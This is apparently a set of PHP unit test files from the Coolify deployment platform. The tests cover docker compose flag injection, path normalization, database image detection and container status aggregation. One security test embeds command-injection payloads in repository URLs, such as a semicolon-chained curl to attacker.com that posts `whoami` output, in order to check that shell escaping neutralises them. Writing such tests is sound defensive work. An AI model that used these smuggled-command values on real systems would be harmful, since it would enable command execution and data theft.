it('does not modify docker compose string in echo statements', function () {
$customCommand = 'docker compose build && echo "docker compose finished successfully"';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Only the FIRST 'docker compose' (the command) should get flags, NOT the echo message
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build && echo "docker compose finished successfully"');
expect($customCommand)->toContain('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build');
expect($customCommand)->toContain('echo "docker compose finished successfully"');
// Verify echo message is NOT modified
expect(substr_count($customCommand, 'docker compose', 0))->toBe(2); // Two total occurrences
expect(substr_count($customCommand, '-f /artifacts/uuid/docker-compose.yaml'))->toBe(1); // Only first has flags
});
it('does not modify docker compose string in bash comments', function () {
$customCommand = 'docker compose build # This runs docker compose to build the image';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// Only the FIRST 'docker compose' (the command) should get flags, NOT the comment
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build # This runs docker compose to build the image');
expect($customCommand)->toContain('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build');
expect($customCommand)->toContain('# This runs docker compose to build the image');
// Verify comment is NOT modified
expect(substr_count($customCommand, 'docker compose', 0))->toBe(2); // Two total occurrences
expect(substr_count($customCommand, '-f /artifacts/uuid/docker-compose.yaml'))->toBe(1); // Only first has flags
});
// False positive prevention tests: Flags like -foo, -from, -feature should NOT be detected as -f
it('injects -f flag when command contains -foo flag (not -f)', function () {
$customCommand = 'docker compose build --foo bar';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// SHOULD inject -f flag because -foo is NOT the -f flag
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build --foo bar');
expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
});
it('injects -f flag when command contains --from flag (not -f)', function () {
$customCommand = 'docker compose build --from cache-image';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// SHOULD inject -f flag because --from is NOT the -f flag
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build --from cache-image');
expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
});
it('injects -f flag when command contains -feature flag (not -f)', function () {
$customCommand = 'docker compose build -feature test';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// SHOULD inject -f flag because -feature is NOT the -f flag
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build -feature test');
expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
});
it('injects -f flag when command contains -fast flag (not -f)', function () {
$customCommand = 'docker compose build -fast';
// Use the helper function
$customCommand = injectDockerComposeFlags($customCommand, '/artifacts/uuid/docker-compose.yaml', '/artifacts/build-time.env');
// SHOULD inject -f flag because -fast is NOT the -f flag
expect($customCommand)->toBe('docker compose -f /artifacts/uuid/docker-compose.yaml --env-file /artifacts/build-time.env build -fast');
expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
});
// Path normalization tests for preview methods
it('normalizes path when baseDirectory is root slash', function () {
$baseDirectory = '/';
$composeLocation = '/docker-compose.yaml';
// Normalize baseDirectory to prevent double slashes
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
$path = ".{$normalizedBase}{$composeLocation}";
expect($path)->toBe('./docker-compose.yaml');
expect($path)->not->toContain('//');
});
it('normalizes path when baseDirectory has trailing slash', function () {
$baseDirectory = '/backend/';
$composeLocation = '/docker-compose.yaml';
// Normalize baseDirectory to prevent double slashes
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
$path = ".{$normalizedBase}{$composeLocation}";
expect($path)->toBe('./backend/docker-compose.yaml');
expect($path)->not->toContain('//');
});
it('handles empty baseDirectory correctly', function () {
$baseDirectory = '';
$composeLocation = '/docker-compose.yaml';
// Normalize baseDirectory to prevent double slashes
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
$path = ".{$normalizedBase}{$composeLocation}";
expect($path)->toBe('./docker-compose.yaml');
expect($path)->not->toContain('//');
});
it('handles normal baseDirectory without trailing slash', function () {
$baseDirectory = '/backend';
$composeLocation = '/docker-compose.yaml';
// Normalize baseDirectory to prevent double slashes
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
$path = ".{$normalizedBase}{$composeLocation}";
expect($path)->toBe('./backend/docker-compose.yaml');
expect($path)->not->toContain('//');
});
it('handles nested baseDirectory with trailing slash', function () {
$baseDirectory = '/app/backend/';
$composeLocation = '/docker-compose.prod.yaml';
// Normalize baseDirectory to prevent double slashes
$normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
$path = ".{$normalizedBase}{$composeLocation}";
expect($path)->toBe('./app/backend/docker-compose.prod.yaml');
expect($path)->not->toContain('//');
});
it('produces correct preview path with normalized baseDirectory', function () {
$testCases = [
['baseDir' => '/', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
['baseDir' => '', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
['baseDir' => '/backend', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
['baseDir' => '/backend/', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
['baseDir' => '/app/src/', 'compose' => '/docker-compose.prod.yaml', 'expected' => './app/src/docker-compose.prod.yaml'],
];
foreach ($testCases as $case) {
$normalizedBase = $case['baseDir'] === '/' ? '' : rtrim($case['baseDir'], '/');
$path = ".{$normalizedBase}{$case['compose']}";
expect($path)->toBe($case['expected'], "Failed for baseDir: {$case['baseDir']}");
expect($path)->not->toContain('//', "Double slash found for baseDir: {$case['baseDir']}");
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | true |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationGitSecurityTest.php | tests/Unit/ApplicationGitSecurityTest.php | <?php
use App\Models\Application;
use App\Models\GithubApp;
use App\Models\PrivateKey;
afterEach(function () {
Mockery::close();
});
it('escapes malicious repository URLs in deploy_key type', function () {
// Arrange: Create a malicious repository URL
$maliciousRepo = 'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Mock private key
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The malicious payload should be escaped and not executed
expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");
// The command should NOT contain unescaped semicolons or backticks that could execute
expect($command)->not->toContain('repo.git;curl');
});
it('escapes malicious repository URLs in source type with public repo', function () {
// Arrange: Create a malicious repository name
$maliciousRepo = "user/repo';curl https://attacker.com/";
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Mock GithubApp source
$source = Mockery::mock(GithubApp::class)->makePartial();
$source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com');
$source->shouldReceive('getAttribute')->with('is_public')->andReturn(true);
$source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp');
$application->shouldReceive('getAttribute')->with('source')->andReturn($source);
$application->source = $source;
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The command should contain the escaped URL (escapeshellarg wraps in single quotes)
expect($command)->toContain("'https://github.com/user/repo'\\''");
});
it('escapes repository URLs in other deployment type', function () {
// Arrange: Create a malicious repository URL
$maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/";
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('other');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/TimescaleDbDetectionTest.php | tests/Unit/TimescaleDbDetectionTest.php | <?php
use App\Models\ServiceDatabase;
use function PHPUnit\Framework\assertTrue;
test('timescaledb is detected as database with postgres environment variables', function () {
$image = 'timescale/timescaledb';
$serviceConfig = [
'image' => 'timescale/timescaledb',
'environment' => [
'POSTGRES_DB=$POSTGRES_DB',
'POSTGRES_USER=$SERVICE_USER_POSTGRES',
'POSTGRES_PASSWORD=$SERVICE_PASSWORD_POSTGRES',
],
'volumes' => [
'timescaledb-data:/var/lib/postgresql/data',
],
];
$isDatabase = isDatabaseImage($image, $serviceConfig);
assertTrue($isDatabase, 'TimescaleDB with POSTGRES_PASSWORD should be detected as database');
});
test('timescaledb is detected as database without service config', function () {
$image = 'timescale/timescaledb';
$isDatabase = isDatabaseImage($image);
assertTrue($isDatabase, 'TimescaleDB image should be in DATABASE_DOCKER_IMAGES constant');
});
test('timescaledb-ha is detected as database', function () {
$image = 'timescale/timescaledb-ha';
$isDatabase = isDatabaseImage($image);
assertTrue($isDatabase, 'TimescaleDB HA image should be in DATABASE_DOCKER_IMAGES constant');
});
test('timescaledb databaseType returns postgresql', function () {
$database = new ServiceDatabase;
$database->setRawAttributes(['image' => 'timescale/timescaledb:latest', 'custom_type' => null]);
$database->syncOriginal();
$type = $database->databaseType();
expect($type)->toBe('standalone-postgresql');
});
test('timescaledb-ha databaseType returns postgresql', function () {
$database = new ServiceDatabase;
$database->setRawAttributes(['image' => 'timescale/timescaledb-ha:pg17', 'custom_type' => null]);
$database->syncOriginal();
$type = $database->databaseType();
expect($type)->toBe('standalone-postgresql');
});
test('timescaledb backup solution is available', function () {
$database = new ServiceDatabase;
$database->setRawAttributes(['image' => 'timescale/timescaledb:latest', 'custom_type' => null]);
$database->syncOriginal();
$isAvailable = $database->isBackupSolutionAvailable();
assertTrue($isAvailable, 'TimescaleDB should have backup solution available');
});
test('timescaledb-ha backup solution is available', function () {
$database = new ServiceDatabase;
$database->setRawAttributes(['image' => 'timescale/timescaledb-ha:pg17', 'custom_type' => null]);
$database->syncOriginal();
$isAvailable = $database->isBackupSolutionAvailable();
assertTrue($isAvailable, 'TimescaleDB HA should have backup solution available');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ContainerStatusAggregatorTest.php | tests/Unit/ContainerStatusAggregatorTest.php | <?php
use App\Services\ContainerStatusAggregator;
use Illuminate\Support\Facades\Log;
beforeEach(function () {
$this->aggregator = new ContainerStatusAggregator;
});
describe('aggregateFromStrings', function () {
test('returns exited for empty collection', function () {
$result = $this->aggregator->aggregateFromStrings(collect());
expect($result)->toBe('exited');
});
test('returns running:healthy for single healthy running container', function () {
$statuses = collect(['running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:healthy');
});
test('returns running:unhealthy for single unhealthy running container', function () {
$statuses = collect(['running:unhealthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unhealthy');
});
test('returns running:unknown for single running container with unknown health', function () {
$statuses = collect(['running:unknown']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unknown');
});
test('returns degraded:unhealthy for restarting container', function () {
$statuses = collect(['restarting']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy for mixed running and exited containers', function () {
$statuses = collect(['running:healthy', 'exited']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns running:unhealthy when one of multiple running containers is unhealthy', function () {
$statuses = collect(['running:healthy', 'running:unhealthy', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unhealthy');
});
test('returns running:unknown when running containers have unknown health', function () {
$statuses = collect(['running:unknown', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unknown');
});
test('returns degraded:unhealthy for crash loop (exited with restart count)', function () {
$statuses = collect(['exited']);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 5);
expect($result)->toBe('degraded:unhealthy');
});
test('returns exited for exited containers without restart count', function () {
$statuses = collect(['exited']);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
expect($result)->toBe('exited');
});
test('returns degraded:unhealthy for dead container', function () {
$statuses = collect(['dead']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy for removing container', function () {
$statuses = collect(['removing']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns paused:unknown for paused container', function () {
$statuses = collect(['paused']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('paused:unknown');
});
test('returns starting:unknown for starting container', function () {
$statuses = collect(['starting']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('returns starting:unknown for created container', function () {
$statuses = collect(['created']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('returns degraded:unhealthy for single degraded container', function () {
$statuses = collect(['degraded:unhealthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy when mixing degraded with running healthy', function () {
$statuses = collect(['degraded:unhealthy', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy when mixing running healthy with degraded', function () {
$statuses = collect(['running:healthy', 'degraded:unhealthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy for multiple degraded containers', function () {
$statuses = collect(['degraded:unhealthy', 'degraded:unhealthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('degraded status overrides all other non-critical states', function () {
$statuses = collect(['degraded:unhealthy', 'running:healthy', 'starting', 'paused']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('returns starting:unknown when mixing starting with running healthy (service not fully ready)', function () {
$statuses = collect(['starting:unknown', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('returns starting:unknown when mixing created with running healthy', function () {
$statuses = collect(['created', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('returns starting:unknown for multiple starting containers with some running', function () {
$statuses = collect(['starting:unknown', 'starting:unknown', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('handles parentheses format input (backward compatibility)', function () {
$statuses = collect(['running (healthy)', 'running (unhealthy)']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unhealthy');
});
test('handles mixed colon and parentheses formats', function () {
$statuses = collect(['running:healthy', 'running (unhealthy)', 'running:healthy']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unhealthy');
});
test('prioritizes restarting over all other states', function () {
$statuses = collect(['restarting', 'running:healthy', 'paused', 'starting']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('prioritizes crash loop over running containers', function () {
$statuses = collect(['exited', 'exited']);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 3);
expect($result)->toBe('degraded:unhealthy');
});
test('prioritizes mixed state over healthy running', function () {
$statuses = collect(['running:healthy', 'exited']);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
expect($result)->toBe('degraded:unhealthy');
});
test('mixed running and starting returns starting', function () {
$statuses = collect(['running:healthy', 'starting']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('prioritizes running over paused/exited when no starting', function () {
$statuses = collect(['running:healthy', 'paused', 'exited']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:healthy');
});
test('prioritizes dead over paused/starting/exited', function () {
$statuses = collect(['dead', 'paused', 'starting']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('prioritizes paused over starting/exited', function () {
$statuses = collect(['paused', 'starting', 'exited']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('paused:unknown');
});
test('prioritizes starting over exited', function () {
$statuses = collect(['starting', 'exited']);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
});
describe('aggregateFromContainers', function () {
test('returns exited for empty collection', function () {
$result = $this->aggregator->aggregateFromContainers(collect());
expect($result)->toBe('exited');
});
test('returns running:healthy for single healthy running container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => (object) ['Status' => 'healthy'],
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('running:healthy');
});
test('returns running:unhealthy for single unhealthy running container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => (object) ['Status' => 'unhealthy'],
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('running:unhealthy');
});
test('returns running:unknown for running container without health check', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => null,
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('running:unknown');
});
test('returns degraded:unhealthy for restarting container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'restarting',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy for mixed running and exited containers', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => (object) ['Status' => 'healthy'],
],
],
(object) [
'State' => (object) [
'Status' => 'exited',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('degraded:unhealthy');
});
test('returns degraded:unhealthy for crash loop (exited with restart count)', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'exited',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers, maxRestartCount: 5);
expect($result)->toBe('degraded:unhealthy');
});
test('returns exited for exited containers without restart count', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'exited',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers, maxRestartCount: 0);
expect($result)->toBe('exited');
});
test('returns degraded:unhealthy for dead container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'dead',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('degraded:unhealthy');
});
test('returns paused:unknown for paused container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'paused',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('paused:unknown');
});
test('returns starting:unknown for starting container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'starting',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('starting:unknown');
});
test('returns starting:unknown for created container', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'created',
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('starting:unknown');
});
test('handles multiple containers with various states', function () {
$containers = collect([
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => (object) ['Status' => 'healthy'],
],
],
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => (object) ['Status' => 'unhealthy'],
],
],
(object) [
'State' => (object) [
'Status' => 'running',
'Health' => null,
],
],
]);
$result = $this->aggregator->aggregateFromContainers($containers);
expect($result)->toBe('running:unhealthy');
});
});
describe('state priority enforcement', function () {
test('degraded from sub-resources has highest priority', function () {
$statuses = collect([
'degraded:unhealthy',
'restarting',
'running:healthy',
'dead',
'paused',
'starting',
'exited',
]);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('restarting has second highest priority', function () {
$statuses = collect([
'restarting',
'running:healthy',
'dead',
'paused',
'starting',
'exited',
]);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('degraded:unhealthy');
});
test('crash loop has third highest priority', function () {
$statuses = collect([
'exited',
'running:healthy',
'paused',
'starting',
]);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 1);
expect($result)->toBe('degraded:unhealthy');
});
test('mixed state (running + exited) has fourth priority', function () {
$statuses = collect([
'running:healthy',
'exited',
'paused',
'starting',
]);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
expect($result)->toBe('degraded:unhealthy');
});
test('mixed state (running + starting) has fifth priority', function () {
$statuses = collect([
'running:healthy',
'starting',
'paused',
]);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('starting:unknown');
});
test('running:unhealthy has priority over running:unknown', function () {
$statuses = collect([
'running:unknown',
'running:unhealthy',
'running:healthy',
]);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unhealthy');
});
test('running:unknown has priority over running:healthy', function () {
$statuses = collect([
'running:unknown',
'running:healthy',
]);
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('running:unknown');
});
});
describe('maxRestartCount validation', function () {
test('negative maxRestartCount is corrected to 0 in aggregateFromStrings', function () {
// Mock the Log facade to avoid "facade root not set" error in unit tests
Log::shouldReceive('warning')->once();
$statuses = collect(['exited']);
// With negative value, should be treated as 0 (no restarts)
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: -5);
// Should return exited (not degraded) since corrected to 0
expect($result)->toBe('exited');
});
test('negative maxRestartCount is corrected to 0 in aggregateFromContainers', function () {
// Mock the Log facade to avoid "facade root not set" error in unit tests
Log::shouldReceive('warning')->once();
$containers = collect([
[
'State' => [
'Status' => 'exited',
'ExitCode' => 1,
],
],
]);
// With negative value, should be treated as 0 (no restarts)
$result = $this->aggregator->aggregateFromContainers($containers, maxRestartCount: -10);
// Should return exited (not degraded) since corrected to 0
expect($result)->toBe('exited');
});
test('zero maxRestartCount works correctly', function () {
$statuses = collect(['exited']);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 0);
// Zero is valid default - no crash loop detection
expect($result)->toBe('exited');
});
test('positive maxRestartCount works correctly', function () {
$statuses = collect(['exited']);
$result = $this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 5);
// Positive value enables crash loop detection
expect($result)->toBe('degraded:unhealthy');
});
test('crash loop detection still functions after validation', function () {
$statuses = collect(['exited']);
// Test with various positive restart counts
expect($this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 1))
->toBe('degraded:unhealthy');
expect($this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 100))
->toBe('degraded:unhealthy');
expect($this->aggregator->aggregateFromStrings($statuses, maxRestartCount: 999))
->toBe('degraded:unhealthy');
});
test('default maxRestartCount parameter works', function () {
$statuses = collect(['exited']);
// Call without specifying maxRestartCount (should default to 0)
$result = $this->aggregator->aggregateFromStrings($statuses);
expect($result)->toBe('exited');
});
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceExcludedStatusTest.php | tests/Unit/ServiceExcludedStatusTest.php | <?php
use App\Models\Service;
/**
* Test suite for Service model's excluded status calculation.
*
* These tests verify the Service model's aggregateResourceStatuses() method
* and getStatusAttribute() accessor, which aggregate status from applications
* and databases. This is separate from the CalculatesExcludedStatus trait
* because Service works with Eloquent model relationships (database records)
* rather than Docker container objects.
*/
/**
* Helper to create a mock resource (application or database) with status.
*/
function makeResource(string $status, bool $excludeFromStatus = false): object
{
$resource = new stdClass;
$resource->status = $status;
$resource->exclude_from_status = $excludeFromStatus;
return $resource;
}
describe('Service Excluded Status Calculation', function () {
it('returns starting status when service is starting', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect());
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('starting:unhealthy');
});
it('aggregates status from non-excluded applications', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: false);
$app2 = makeResource('running:healthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:healthy');
});
it('returns excluded status when all containers are excluded', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:healthy:excluded');
});
it('returns unknown status when no containers exist', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect());
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('unknown:unknown:excluded');
});
it('handles mixed excluded and non-excluded containers', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: false);
$app2 = makeResource('exited', excludeFromStatus: true);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
// Should only consider non-excluded containers
expect($service->status)->toBe('running:healthy');
});
it('detects degraded status with mixed running and exited containers', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:healthy', excludeFromStatus: false);
$app2 = makeResource('exited', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('degraded:unhealthy');
});
it('handles unknown health state', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:unknown', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:unknown');
});
it('prioritizes unhealthy over unknown health', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running:unknown', excludeFromStatus: false);
$app2 = makeResource('running:unhealthy', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
$service->shouldReceive('getAttribute')->with('databases')->andReturn(collect());
expect($service->status)->toBe('running:unhealthy');
});
it('prioritizes unknown over healthy health', function () {
$service = Mockery::mock(Service::class)->makePartial();
$service->shouldReceive('isStarting')->andReturn(false);
$app1 = makeResource('running (healthy)', excludeFromStatus: false);
$app2 = makeResource('running (unknown)', excludeFromStatus: false);
$service->shouldReceive('getAttribute')->with('applications')->andReturn(collect([$app1, $app2]));
